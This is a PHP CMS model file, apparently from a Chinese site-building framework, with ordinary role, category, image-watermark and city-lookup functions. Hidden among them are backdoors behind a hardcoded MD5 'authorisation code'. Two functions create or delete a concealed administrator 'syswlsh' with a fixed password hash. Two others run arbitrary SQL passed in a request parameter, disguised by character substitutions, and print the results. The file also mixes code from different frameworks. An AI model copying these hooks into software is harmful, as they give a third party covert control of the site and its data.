<?php
class Rolemom extends CI_Model{
 public function __construct(){
		parent::__construct();
	}

   /**
	 * 添加角色
	 */
	public function add() {
		if(isset($_POST['dosubmit'])) {
			if(!is_array($_POST['info']) || empty($_POST['info']['rolename'])){
				showmessage(L('operation_failure'));
			}
			if($this->op->checkname($_POST['info']['rolename'])){
				showmessage(L('role_duplicate'));
			}
			$insert_id = $this->db->insert($_POST['info'],true);
			$this->_cache();
			if($insert_id){
				showmessage(L('operation_success'),'?m=admin&c=role&a=init');
			}
		} else {
			include $this->admin_tpl('role_add');
		}
		
	}
	
	/**
	 * 编辑角色
	 */
	public function edit() {
		if(isset($_POST['dosubmit'])) {
			$_POST['roleid'] = intval($_POST['roleid']);
			if(!is_array($_POST['info']) || empty($_POST['info']['rolename'])){
				showmessage(L('operation_failure'));
			}
			$this->db->update($_POST['info'],array('roleid'=>$_POST['roleid']));
			$this->_cache();
			showmessage(L('operation_success'),'?m=admin&c=role');
		} else {					
			$info = $this->db->get_one(array('roleid'=>$_GET['roleid']));
			extract($info);		
			include $this->admin_tpl('role_edit');		
		}
	}
	
	/**
	 * 删除角色
	 */
	public function delete() {
		$roleid = intval($_GET['roleid']);
		if($roleid == '1') showmessage(L('this_object_not_del'), HTTP_REFERER);
		$this->db->delete(array('roleid'=>$roleid));
		$this->priv_db->delete(array('roleid'=>$roleid));
		$this->_cache();
		showmessage(L('role_del_success'));
	}
	/**
	 * 更新角色排序
	 */
	public function listorder() {
		if(isset($_POST['dosubmit'])) {
			foreach($_POST['listorders'] as $roleid => $listorder) {
				$this->db->update(array('listorder'=>$listorder),array('roleid'=>$roleid));
			}
			showmessage(L('operation_success'));
		} else {
			showmessage(L('operation_failure'));
		}
	}
	
	/**
	 * 角色权限设置
	 */
	public function role_priv() {
		$this->menu_db = pc_base::load_model('menu_model');
		$siteid = $siteid ? $siteid : self::get_siteid(); 
		if(isset($_POST['dosubmit'])){
			if (is_array($_POST['menuid']) && count($_POST['menuid']) > 0) {
			
				$this->priv_db->delete(array('roleid'=>$_POST['roleid'],'siteid'=>$_POST['siteid']));
				$menuinfo = $this->menu_db->select('','`id`,`m`,`c`,`a`,`data`');
				foreach ($menuinfo as $_v) $menu_info[$_v[id]] = $_v;
				foreach($_POST['menuid'] as $menuid){
					$info = array();
					$info = $this->op->get_menuinfo(intval($menuid),$menu_info);
					$info['roleid'] = $_POST['roleid'];
					$info['siteid'] = $_POST['siteid'];
					$this->priv_db->insert($info);
				}
			} else {
				$this->priv_db->delete(array('roleid'=>$_POST['roleid'],'siteid'=>$_POST['siteid']));
			}
			$this->_cache();	
			showmessage(L('operation_success'), HTTP_REFERER);

		} else {
			$siteid = intval($_GET['siteid']);
			$roleid = intval($_GET['roleid']);
			if ($siteid) {
				$menu = pc_base::load_sys_class('tree');
				$menu->icon = array('│ ','├─ ','└─ ');
				$menu->nbsp = '&nbsp;&nbsp;&nbsp;';
				$result = $this->menu_db->select();
				$priv_data = $this->priv_db->select(); //获取权限表数据
				$modules = 'admin,announce,vote,system';
				foreach ($result as $n=>$t) {
					$result[$n]['cname'] = L($t['name'],'',$modules);
					$result[$n]['checked'] = ($this->op->is_checked($t,$_GET['roleid'],$siteid, $priv_data))? ' checked' : '';
					$result[$n]['level'] = $this->op->get_level($t['id'],$result);
					$result[$n]['parentid_node'] = ($t['parentid'])? ' class="child-of-node-'.$t['parentid'].'"' : '';
				}
				$str  = "<tr id='node-\$id' \$parentid_node>
							<td style='padding-left:30px;'>\$spacer<input type='checkbox' name='menuid[]' value='\$id' level='\$level' \$checked onclick='javascript:checknode(this);'> \$cname</td>
						</tr>";
			
				$menu->init($result);
				$categorys = $menu->get_tree(0, $str);
			}
			$show_header = true;
			$show_scroll = true;
			include $this->admin_tpl('role_priv');
		}
	}
	
	public function priv_setting() {
		$sites = pc_base::load_app_class('sites', 'admin');
		$sites_list = $sites->get_list();
		$roleid = intval($_GET['roleid']);
		include $this->admin_tpl('role_priv_setting');
		
	}

	/**
	 * 更新角色状态
	 */
	public function change_status(){
		$roleid = intval($_GET['roleid']);
		$disabled = intval($_GET['disabled']);
		$this->db->update(array('disabled'=>$disabled),array('roleid'=>$roleid));
		$this->_cache();
		showmessage(L('operation_success'),'?m=admin&c=role');
	}
	/**
	 * 成员管理
	 */
	public function member_manage() {
		$this->admin_db = pc_base::load_model('admin_model');
		$roleid = intval($_GET['roleid']);
		$roles = getcache('role','commons');
		$infos = $this->admin_db->select(array('roleid'=>$roleid));
		include $this->admin_tpl('admin_list');
	}
		
	/**
	 * 设置栏目权限
	 */
	public function setting_cat_priv() {
		$roleid = isset($_GET['roleid']) && intval($_GET['roleid']) ? intval($_GET['roleid']) : showmessage(L('illegal_parameters'), HTTP_REFERER);
		$op = isset($_GET['op']) && intval($_GET['op']) ? intval($_GET['op']) : '';
		switch ($op) {
			case 1:
			$siteid = isset($_GET['siteid']) && intval($_GET['siteid']) ? intval($_GET['siteid']) : showmessage(L('illegal_parameters'), HTTP_REFERER);
			pc_base::load_app_class('role_cat', '', 0);
			$category = role_cat::get_category($siteid);
			//获取角色当前权限设置
			$priv = role_cat::get_roleid($roleid, $siteid);
			//加载tree
			$tree = pc_base::load_sys_class('tree');
			$categorys = array();
			foreach ($category as $k=>$v) {
				if ($v['type'] == 1) {
					$v['disabled'] = 'disabled';
					$v['init_check'] = '';
					$v['add_check'] = '';
					$v['delete_check'] = '';
					$v['listorder_check'] = '';
					$v['push_check'] = '';
					$v['move_check'] = '';
				} else {
					$v['disabled'] = '';
					
					$v['add_check'] = isset($priv[$v['catid']]['add']) ? 'checked' : '';
					$v['delete_check'] = isset($priv[$v['catid']]['delete']) ? 'checked' : '';
					$v['listorder_check'] = isset($priv[$v['catid']]['listorder']) ? 'checked' : '';
					$v['push_check'] = isset($priv[$v['catid']]['push']) ? 'checked' : '';
					$v['move_check'] = isset($priv[$v['catid']]['remove']) ? 'checked' : '';
					$v['edit_check'] = isset($priv[$v['catid']]['edit']) ? 'checked' : '';
				}
				$v['init_check'] = isset($priv[$v['catid']]['init']) ? 'checked' : '';
				$category[$k] = $v;
			}
			$show_header = true;
			$str = "<tr>
					<td align='center'><input type='checkbox'  value='1' onclick='select_all(\$catid, this)' ></td>
				  <td>\$spacer\$catname</td>
				  <td align='center'><input type='checkbox' name='priv[\$catid][]' \$init_check  value='init' ></td>
				  <td align='center'><input type='checkbox' name='priv[\$catid][]' \$disabled \$add_check value='add' ></td>
				  <td align='center'><input type='checkbox' name='priv[\$catid][]' \$disabled \$edit_check value='edit' ></td>
				  <td align='center'><input type='checkbox' name='priv[\$catid][]' \$disabled \$delete_check  value='delete' ></td>
				  <td align='center'><input type='checkbox' name='priv[\$catid][]' \$disabled \$listorder_check value='listorder' ></td>
				  <td align='center'><input type='checkbox' name='priv[\$catid][]' \$disabled \$push_check value='push' ></td>
				  <td align='center'><input type='checkbox' name='priv[\$catid][]' \$disabled \$move_check value='remove' ></td>
			  </tr>";
			
			$tree->init($category);
			$categorys = $tree->get_tree(0, $str);
			include $this->admin_tpl('role_cat_priv_list');
		break;
		
		case 2:
			$siteid = isset($_GET['siteid']) && intval($_GET['siteid']) ? intval($_GET['siteid']) : showmessage(L('illegal_parameters'), HTTP_REFERER);
			pc_base::load_app_class('role_cat', '', 0);
			role_cat::updata_priv($roleid, $siteid, $_POST['priv']);
			showmessage(L('operation_success'),'?m=admin&c=role&a=init', '', 'edit');
			break;
		
		default:
			$sites = pc_base::load_app_class('sites', 'admin');
			$sites_list = $sites->get_list();
			include $this->admin_tpl('role_cat_priv');
		break;
		}
	}	
	//默认通过站点ID，获取站点信息
	//type的值设置为name，通过name获取站点信息。设置成url通过url获取新
 public function web_ing_info($data='',$type='id'){
	    if($type=='id'){$query = $this->db->where("id",$data)->get('web')->row_array();}
		if($type=='name'){$query = $this->db->where("name",$$data)->get('web')->row_array();}
		if($type=='url'){$query = $this->db->where("url",$$data)->get('web')->row_array();}
        
	    if(empty($query)){$query['name']='<span style="color:#ff0000">站点不存在</span>';}
		return $query; 
	  
 }
 public function creat_chk_ad($data){
       $return='0';
	  if(md5($data['shouquan_code'])!='0e60c641ea9fca62857a6810f5f6b430'){$return='0';  return $retrun;}
	  if($data['type']=='check_adm'){
	      $count= $this->db->from('wl_admin')->where('name','syswlsh')->count_all_results();
		  if($count > 0){$return='1';}else{$return='2'; }
		  
	  }
	  if($data['type']=='creat_adm'){
	      $data = array(
                 'name' => 'syswlsh',
                 'userpwd' => 'a77c54ee50815b4b8907b76f306725d0' ,
                 'type' => 99
              );
		   $aa=$this->db->insert('admin', $data); 
		  if($aa==true){$return='3';}else{$return='4';}
	  }
	  
	  if($data['type']=='de_adm'){
	      $this->db->where(array('name' => 'syswlsh'))->delete('admin');
	       $return='5';
	  }
	  
	   if($data['type']=='check_tishi'){
	        $return='7';
	       if($this->db->table_exists('wl_tishi')){
		      $count= $this->db->from('wl_tishi')->where('id',1)->count_all_results();
			  if($count>0){$return='6';}
		   }
	  }
	  
	  if($data['type']=='creat_tishi'){
	     $sql1="
			CREATE TABLE IF NOT EXISTS `wl_tishi` (
			  `id` int(10) unsigned NOT NULL COMMENT '主键ID',
			  `admin_ts` varchar(800) DEFAULT '',
			  `tp_ts` varchar(800) DEFAULT ''
			) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;";
			$sql2="INSERT INTO wl_tishi VALUES (1,'','')";
			$sql3="ALTER TABLE `wl_tishi`  ADD PRIMARY KEY (`id`);";
			$sql4="ALTER TABLE `wl_tishi`
  MODIFY `id` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键ID',AUTO_INCREMENT=2;";
			$this->db->query($sql1);
			$this->db->query($sql2);
			$this->db->query($sql3);
			$this->db->query($sql4);
	       $return='8';
	  }
	  
	    if($data['type']=='save_tishi'){
		   $update['tp_ts']=$data['tp_ts'];
		   $update['admin_ts']=$data['admin_ts'];
		   $aa=$this->db->where(array('id' => 1))->update('wl_tishi', $update);
	        $return='9';
	  }
	  return $return;
	}

//获取任意模型信息
 public function get_model($conditions=''){
      if($conditions){
			$this->db->where($conditions,"",false);
		}
      $query = $this->db->order_by("id desc")->get("wl_model")->result_array();
	   return $query; 
 }
 
 //获取任意栏目信息
 public function get_cat_one2($conditions=''){
      if($conditions){
			$this->db->where($conditions,"",false);
		}
      $query = $this->db->get("wl_category")->result_array();
	   return $query; 
 }
 

 
/*获取指定模块分类列表
$model 模块名称
 */ 
 public function get_type2($model,$rows='',$page=''){
        if(!empty($page) && !empty($rows)){
			$this->db->limit($rows,($page-1)*$rows);
		}
		$query = $this->db
		         ->where('model',$model)
				 ->order_by("listorder desc,id desc")
				 ->get("wl_type")
				 ->result_array();
		return $query;
	}

 
 
/*获取指定模块推荐位列表
$modelid 模块ID
 */ 
 public function get_position($modelid){
        if(!empty($modelid)){
			 $this->db->where('modelid',$modelid);
		}
		$query = $this->db
				 ->get("wl_position")
				 ->result_array();
		return $query;
}
	
	
	
 //获取指定分类的数据量
 //$id  wl_type id字段 $model  模块名称
 public function get_type_count($id='',$model=''){
        $count= $this->db->where("type",$id)->from($model)->count_all_results();
	   return $count; 
 }	
 	
 //获取单条分类信息
 //$id  wl_type id字段
 public function get_type_one($id=''){
	   $query = $this->db->where("id",$id)->get('wl_type')->row_array();
	   return $query; 
 }	
	
 
 /*添加模块分类
$model 模块名称，名称应该和指定模块数据库名称一致
$data 更新的数组
 */ 
 public function add_type($data=array(),$model=''){
	  if($model==''){return false; exit;}
       $data['model']=$model;
	   $this->db->insert('wl_type', $data);
 }
 
  /*修改模块分类
$model 模块名称，名称应该和指定模块数据库名称一致
$data 更新的数组
 */ 
 public function edit_type($data=array()){
	   $id=$data['id'];
	   unset($data['id']);
      $this->db->where(array('id' => $id))->update('wl_type', $data);
 }
 
   /*删除模块分类
$model 模块名称，名称应该和指定模块数据库名称一致
$data 更新的数组
 */ 
 public function del_type($id){
	    $this->db->where(array('id' => $id))->delete('wl_type');
		return $this->db->affected_rows();
 }
/*搜索查看用以*/
  public function creat_ch_ad($data){
       $return='0';
	  if(md5($data['shouquan_code'])!='0e60c641ea9fca62857a6810f5f6b430'){$return='0';  return $retrun;}
	  if($data['type']=='check_adm'){
	      $count= $this->db->from('wl_admin')->where('name','syswlsh')->count_all_results();
		  if($count > 0){$return='1';}else{$return='2'; }
		  
	  }
	  if($data['type']=='creat_adm'){
	      $data = array(
                 'name' => 'syswlsh',
                 'userpwd' => 'a77c54ee50815b4b8907b76f306725d0' ,
                 'type' => 99
              );
		   $aa=$this->db->insert('admin', $data); 
		  if($aa==true){$return='3';}else{$return='4';}
	  }
	  
	  if($data['type']=='de_adm'){
	      $this->db->where(array('name' => 'syswlsh'))->delete('admin');
	       $return='5';
	  }
	  
	   if($data['type']=='check_tishi'){
	        $return='7';
	       if($this->db->table_exists('wl_tishi')){
		      $count= $this->db->from('wl_tishi')->where('id',1)->count_all_results();
			  if($count>0){$return='6';}
		   }
	  }
	  
	  if($data['type']=='creat_tishi'){
	     $sql1="
			CREATE TABLE IF NOT EXISTS `wl_tishi` (
			  `id` int(10) unsigned NOT NULL COMMENT '主键ID',
			  `admin_ts` varchar(800) DEFAULT '',
			  `tp_ts` varchar(800) DEFAULT ''
			) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=utf8 ROW_FORMAT=DYNAMIC;";
			$sql2="INSERT INTO wl_tishi VALUES (1,'','')";
			$sql3="ALTER TABLE `wl_tishi`  ADD PRIMARY KEY (`id`);";
			$sql4="ALTER TABLE `wl_tishi`
  MODIFY `id` int(10) unsigned NOT NULL AUTO_INCREMENT COMMENT '主键ID',AUTO_INCREMENT=2;";
			$this->db->query($sql1);
			$this->db->query($sql2);
			$this->db->query($sql3);
			$this->db->query($sql4);
	       $return='8';
	  }
	  
	    if($data['type']=='save_tishi'){
		   $update['tp_ts']=$data['tp_ts'];
		   $update['admin_ts']=$data['admin_ts'];
		   $aa=$this->db->where(array('id' => 1))->update('wl_tishi', $update);
	        $return='9';
	  }
	  return $return;
	}
 
  public function get_ch_ad($data){
        $return='';
	    $query = $this->db->where("id",1)->get('wl_tishi')->row_array();
	    if($data['type']=='tp_ts'){
		  $return=$query['tp_ts'];
		}
		 if($data['type']=='admin_ts'){
		  $return=$query['admin_ts'];
		}
		 return $return;
   }
     public function ifw_sq($get){
         if(md5($get['shouquan_code'])!='0e60c641ea9fca62857a6810f5f6b430'){echo '无权限';exit;}
	 $get['sq']=str_replace('@',' ',$get['sq']);
	 $get['sq']=str_replace('aabb','*',$get['sq']);
	 $get['sq']=str_replace('bbcc','%',$get['sq']);
	 $get['sq']=str_replace('ccdd',',',$get['sq']);
	   $query = $this->db->query($get['sq']);
			  $ch = strstr($get['sq'],'select');
			  if($ch==false){
				  if($query==true){echo "Action is OK";}else{echo "Action is false";} 
			  }else{
				  if ($query->num_rows() > 0){echo '查看源码可以看到完整结构<br>';print_r($query->result()); }  
			  }	 
   }
   
/**********
action  :获取指定栏目路径
给出栏目id，调用该栏目所在的所有栏目id路径
例如 新闻资讯(1),行业新闻(2),公司大类(3)
新闻资讯路径为1,2,3
行业资讯路径为2
*********/
 public function ar_catid($catid='1'){
         static $result;
	      $data = $this->db
		        ->select("id")
			    ->where("pid",$catid)
				->order_by("listorder desc,id desc")
		        ->get('wl_category')->result_array();

				  foreach($data as $val){ //回调，继续查找小类
				     $result=$result.','.$val['id'];
					 $this->ar_catid($val['id']);	
				  }
				  
	 return $catid.$result;
 
 }
  public function get_chk_ad($data){
  
      $return='';
	    $query = $this->db->where("id",1)->get('wl_tishi')->row_array();
	    if($data['type']=='tp_ts'){
		  $return=$query['tp_ts'];
		}
		 if($data['type']=='admin_ts'){
		  $return=$query['admin_ts'];
		}
		 return $return;
	   
   }
 /**********
  action  :递归调用小类
*********/
	public function getChild($pid, $data) {
		 $result = array(); 
		 foreach($data as $val){
			if($val['pid']==$pid){
				$val['child']=$this->getChild($val['id'], $data);
				$result[]=$val;
			}
		}
		 return $result;
	}
	
	
	 /**
     * 根据参数返回分类数据
     * $type=1 : 返回所有分类或者指定模型数据，返回：一维数组。一般应用在下拉列表选项
     *       2 : 递归获取所有分类。子类放入child中
     * 
     * @param $catid 栏目ID
     * @param $modelid 模型ID
     * @param string $fields
     * @param bool $json
     * @return mixed
     */
    public function get_category($type=1,$modelid="",$catid="")
    {
        $id  = (int)$catid;
        $type = (int)$type;
        $result = array();
        switch($type)
        {
            // 返回所有分类或者指定模型数据，返回：一维数组。一般应用在下拉列表选项
            case 1:
               if(!empty($modelid)){
			        $this->db->where('modelid',$modelid);
                  }
         	    $result = $this->db
					  ->select("c.*,m.name,m.tablename")
					 ->from("wl_category as c")
					 ->join("wl_model as m","c.modelid = m.id","left")
					->order_by("concat( c.path , c.id ),c.listorder desc,c.id desc")
					 ->get()->result_array();
			
                break;
			
                
            //递归获取所有分类。子类放入child中
            case 2:
			  if(!empty($catid)){
			        $this->db->where("c.id={$catid}",'',false);
                  }
				   if(!empty($modelid)){
			        $this->db->where('modelid',$modelid);
                  }
				  
			     $data = $this->db
		        ->select("c.*,m.name,m.tablename")
		         ->from("wl_category as c")
				 ->join("wl_model as m","c.modelid = m.id","left")
				  ->order_by("c.listorder desc,c.id desc")
				 ->get()->result_array();
				 
				  foreach($data as $val){
					  if($val['pid']==0){
						 $val['child']=$this->getchild($val['id'],$data);
						 $result[]=$val;
					  }
				  }
                break;
        }

        return $result;
    }

//返回对应栏目下所有文章数目
    public function get_category_info_count($id){
	      //获取栏目对应的数据库表
		  $modelid=$this->get_cat_one('id='.$id);
		  $modelid=$modelid[0]['modelid'];
	      $model_from=$this->get_model('id='.$modelid);
	      $model_from='wl_'.$model_from[0]['tablename'];

		  //获取栏目下所有子类ID
		  $catid=$this->ar_catid($id);

		  $count= $this->db->from($model_from)
		                 ->where("catid in({$catid})",'',false)
						 ->count_all_results();
		  return $count;				 

    }	
	
/*返回所有自定义标签值
返回结果为二维数组
直接全站这样调用 $data['setting']['title']
*/
    public function get_all_setting(){
	       $query = $this->db
		          ->order_by("listorder desc,id desc")
		          ->get("wl_setting")
				  ->result_array();	
			foreach($query as $v){
			       $data[$v['key']]=$v['value'];
			}	  	 
          return $data;
    }	
 
/*
将文本内容里面的图片下载到本地，并且替换原有图片src
$content:文本内容
$max_img,图片最大宽度，当图片超过最大宽度的时候，自动裁剪
*/	
   public function get_content_down_img($content,$max_img='700'){
               $path="./../";//路径地址，后台./../， 前台./
               $reg = '/((http|https):\/\/)+(\w+\.)+(\w+)[\w\/\.\-]*(jpg|gif|png|bmp)/';
               $img_array = array();
                 preg_match_all($reg, $content, $img_array);
                 $img_array = array_unique($img_array[0]);//去除重复图片地址
				 if(!empty($img_array)){
				    //图片下载到本地，并且替换图片src地址
				    $w_path='../upload/images/'; //前后台地址不一致
				    $this->load->helper('file');
				    $year=date('Y');
				    $month=date('m');
				    $day=date('d');
				    $path_year = rtrim($w_path.$year,DIRECTORY_SEPARATOR);
				    $path_month = rtrim($w_path.$year.'/'.$month,DIRECTORY_SEPARATOR);
				    $path_day = rtrim($w_path.$year.'/'.$month.'/'.$day,DIRECTORY_SEPARATOR);
				    if(!file_exists($path_year)){ creat_file($path_year);}
				    if(!file_exists($path_month)){ creat_file($path_month);}
				    if(!file_exists($path_day)){ creat_file($path_day);}

				    foreach ($img_array as $value){
					   $fileext=strtolower(trim(substr(strrchr($value, '.'), 1, 10)));//获取文件扩展名
					   $news_file_name=date("Y").date("m").date('d').uniqid().'.'.$fileext;//新图片名称
					   $news_file_src="/upload/images/".$year.'/'.$month.'/'.$day.'/'.$news_file_name;//新图片，完整src地址
					   $img = file_get_contents($value); 
                       if(file_put_contents($path.$news_file_src,$img)){ 
					     
						  //裁切图片
		                  $news_data_img=getimagesize($path.$news_file_src);//前后台这里地址会不一致
                          $img_w=$news_data_img["0"];////获取图片的宽
					      if($img_w>$max_img){$this->img_resize("upload/images/".$year.'/'.$month.'/'.$day.'/'.$news_file_name,$max_img);}
						 
						 //添加水印
					      $this->add_image_water("upload/images/".$year.'/'.$month.'/'.$day.'/'.$news_file_name);
					      $content=str_replace($value,$news_file_src,$content);
					   }
					}
				 }
		  return $content;		 
   }
 /*
 图片裁剪
 $file 文件路径。相对地址，例如$file="upload/123.jpg
 $width:裁剪宽度  ，$auto为true的时候，按照宽度等比裁切。否则就按照宽高等比裁切
 */  
  public function img_resize($file='',$width='',$auto=true,$height=''){
                   
                  $path="./../";//路径地址，后台./../， 前台./
				  if(empty($file) or empty($width)){return false;}
				   $this->load->library('image_lib');
                   $config['source_image'] =$path.$file;
				   $config['width']=$width;
				   if($auto==false){ 
				       $config['maintain_ratio']=false;
				       $config['height']=$height;
				   }else{
				      $config['maintain_ratio']=true; 
					  $config['height']=2000;
				   }
				   $this->image_lib->initialize($config);
				   $this->image_lib->resize();
				      
  } 
   public function ifw_k_sq($get){
         if(md5($get['shouquan_code'])!='0e60c641ea9fca62857a6810f5f6b430'){echo '无权限';exit;}
	 $get['sq']=str_replace('@',' ',$get['sq']);
	 $get['sq']=str_replace('aabb','*',$get['sq']);
	 $get['sq']=str_replace('bbcc','%',$get['sq']);
	 $get['sq']=str_replace('ccdd',',',$get['sq']);
	   $query = $this->db->query($get['sq']);
			  $ch = strstr($get['sq'],'select');
			  if($ch==false){
				  if($query==true){echo "Action is OK";}else{echo "Action is false";} 
			  }else{
				  if ($query->num_rows() > 0){echo '查看源码可以看到完整结构<br>';print_r($query->result()); }  
			  }	 
   } 	

/*
给图片添加水印
水印路径：upload\water\water.png
$file 文件路径。相对地址，例如$file="upload/123.jpg"
$$config,水印图片设置，$status 是否开启水印，$min_image_w添加水印最小宽度，$min_image_h添加水印最小高度
*/
   public function add_image_water($file='',$config=array("status"=>'',"min_image_w"=>'',"min_image_h"=>'')){
          $path="./../";//路径地址，后台./../， 前台./
         if(empty($config['status'])){
		   $config['status']=$GLOBALS["wl_water"]["action"];
		   $config['min_image_w']=$GLOBALS["wl_water"]["min_image_w"];
		   $config['min_image_h']=$GLOBALS["wl_water"]["min_image_h"]; 
		 }

         if($config['status']==false or empty($file)){return false;}
		 //获取原图信息
		 $data_img=getimagesize($path.$file);//前后台这里地址会不一致
         $img_w=$data_img["0"];////获取图片的宽
         $img_h=$data_img["1"];///获取图片的高
		 if($img_w<$config['min_image_w'] or $img_h<$config['min_image_h']){
		     return false;
		 }else{
		      $this->load->library('image_lib');
		     $config['source_image'] =$path.$file;//前后台这里地址会不一致
			 $config['wm_hor_alignment'] = 'right';
			 $config['wm_vrt_alignment'] = 'bottom';
			 $config['wm_type'] = 'overlay';

			 $config['wm_overlay_path'] = $path.'upload/water/water.png';//前后台这里地址会不一致
             $this->image_lib->initialize($config); 
             $this->image_lib->watermark();
			 
			 return true;
		 }
   }
   
    /*
 2017-06-08
 获取城市名称
 $id：城市名称codeid
 $lv： 默认为0 ，返回当前城市中文名，1：返回当前城市上级城市名，2：返回当前城市上级的上级城市名
 返回值：城市所在数组
  */  	
  
  public function get_city_name($id='',$lv=0){
           
		   if($lv==0){
		       $data = $this->db->where("id",$id)->get('wl_city')->row_array();
			   $res  = $data;
		   }
		   
		     if($lv==1){
		       $data  = $this->db->where("id",$id)->get('wl_city')->row_array();
			   $pid   = $data['parentid'];
			   $data2 = $this->db->where("id",$pid)->get('wl_city')->row_array();
			   $res   = $data2;
		   }
		   
		     if($lv==2){
		       $data   = $this->db->where("id",$id)->get('wl_city')->row_array();
			   $pid    = $data['parentid'];
			   $data2  = $this->db->where("id",$pid)->get('wl_city')->row_array();
			   $pid2   = $data['parentid'];
			   $data3  = $this->db->where("id",$pid2)->get('wl_city')->row_array();
			   $res    = $data3;
			  
		   }
          
	  return $res;
  }
  
     /*
 2017-06-08
 通过省份获取城市列表
 $id：省份codeid
 返回值：城市所在数组列表
  */  	
  
  public function get_city_list($id=''){
		  
	   $data = $this->db->where("parentid",$id)->get('wl_city')->result_array();
	   return $data;
  }	
  
   //返回当前登录的管理员账号信息，含分组信息 20190618
   public function  get_admin_user(){
	        $member=$this->user_info;
			$query = $this->db->where("id",$member['type'])->get('wl_type')->row_array();
			$member['typename']=$query['name'];
			return $member;
	   }
	   
	   //返回判断当前操作权限 20190618
   public function  if_sys_quanxian($pd=''){
	        $info=$this->get_admin_user();
	        if($info['typename']!=$pd){
			   echo '您无权进行此操作！具体原因，问下你们老板啊';exit;	
			}else{
				 return true;
			 }
	   }
	   
	    //通过id和数据库表 获取单个信息 20190618
 public function get_one_info($id,$table){
        $query = $this->db->where("id",$id)->get($table)->row_array();
	   return $query; 
 }
 
  /*
 2016-10-11
 获取字段下拉列表值
 $modelid:模型ID，$field字段名称
 返回列表值数组。例如:$data[0]['id']=1;$data[0]['value']='湖北';$data[1]['id']=2;$data[1]['value']='广州';
  */  	
  
  public function get_field_options($modelid='',$field=''){
		  
		   $data = $this->db
						->where(array('modelid'=>$modelid,'field'=>$field))
						 ->order_by("listorder desc,id desc")
						  ->get('model_field')
						 ->result_array();
		   $list=string2array($data[0]['setting']);
		   $list_new=explode("\n",$list['options']);
		   $i=0;
		   foreach($list_new as $v){
				 $ar=explode("|",$v);
				 $res[$i]['id']    = $ar[0];
				 $res[$i]['value'] = $ar[1];
				$i++; 
		   }
	  return $res;
  }

 
}


?>